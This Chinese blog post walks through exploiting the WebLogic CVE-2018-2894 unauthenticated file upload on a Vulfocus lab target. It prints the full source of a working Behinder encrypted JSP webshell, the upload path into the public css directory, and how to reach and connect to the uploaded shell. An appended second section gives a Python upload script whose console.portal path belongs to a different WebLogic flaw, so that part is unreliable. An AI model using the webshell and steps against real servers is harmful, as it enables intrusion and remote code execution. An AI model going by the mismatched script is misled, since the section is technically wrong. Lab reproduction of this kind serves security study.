weblogic 文件上传 (CVE-2018-2894)漏洞复现

1.漏洞描述

        Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do

2.打开VULFOCUS靶场 。11d6793742934996b8e93798216cff65.png

 3.访问漏洞位置http://202.194.97.206:44262/ws_utc/config.do

4.修改当前工作目录,将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的为:/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

96a0d2fbc48e45ad93ef86aea76183b2.png

 5.点击安全-添加-将小马上传

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

6f6e3caab5e245d8b146fc4e2483578d.png

6.记住时间戳和文件名,或者在burp中也可查看,burp中可能出现多个时间戳,不如用F12方便

9e14c613b89e428d96ce2ebd9ceec18e.png

 0d932e7b4fa14cefa767c38ced4f2b09.png

 7.上传成功后访问小马的路径,显示空白页

 http://vulfocus.fofa.so:45342/ws_utc/css/config/keystore/时间戳_文件名

http://202.194.97.206:44262/ws_utc/css/config/keystore/1662022215557_shell.jsp

5143ab02310343ef85a1e1f86c147767.png

8.使用冰蝎连接

 28f73b7824d94940b00d50a4f2bc9c38.png

0b9eace1cec14f15be58fc643b58e7f3.png

 

 

### CVE-2018-2894 WebLogic 文件上传漏洞复现 #### 漏洞概述 CVE-2018-2894 是 Oracle WebLogic Server 中的一个任意文件上传漏洞。该漏洞允许攻击者通过特定路径上传恶意文件到服务器上并执行代码[^1]。 #### 环境准备 为了成功复现漏洞,需搭建受影响版本的 WebLogic 环境。以下是具体步骤: 1. **安装目标环境** 使用 Docker 镜像或其他方式部署易受攻击的 WebLogic 版本(如 12.1.3 和 12.2.1)。可以通过官方文档或第三方资源找到对应的镜像地址[^2]。 2. **启动服务** 启动 WebLogic 实例,并确认其正常运行。通常可通过浏览器访问 `http://<IP>:7001/console` 来验证管理控制台是否可用。 #### POC 获取与使用 POC(Proof of Concept)用于测试漏洞是否存在。对于 CVE-2018-2894,常见的方法如下: 1. 构造 HTTP 请求包,指定 `/console/css/%252e%252e%252fconsole.portal` 路径作为上传入口。 2. 准备一个恶意 JSP 文件(例如 shell.jsp),并通过工具发送 POST 请求完成上传操作。 3. 访问已上传的文件路径以触发命令执行功能。 下面是一个简单的 Python 脚本实现自动化流程: ```python import requests target_url = "http://<TARGET_IP>:7001" file_path = "/console/css/%252e%252e%252fconsole.portal" headers = { 'Content-Type': 'application/x-www-form-urlencoded' } data = open('shell.jsp', 'rb').read() response = requests.post(f"{target_url}{file_path}", headers=headers, data=data) if response.status_code == 200: print("[+] File uploaded successfully!") else: print("[-] Failed to upload file.") ``` 注意:上述脚本仅为演示用途,请勿非法使用! #### 漏洞修复建议 针对此类安全问题,应及时升级至最新补丁版本或者应用官方发布的热修复方案。此外还可以采取以下措施加强防护效果[^3]: - 关闭不必要的端口和服务; - 设置严格的防火墙策略限制外部连接; - 定期审查日志记录发现异常行为。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值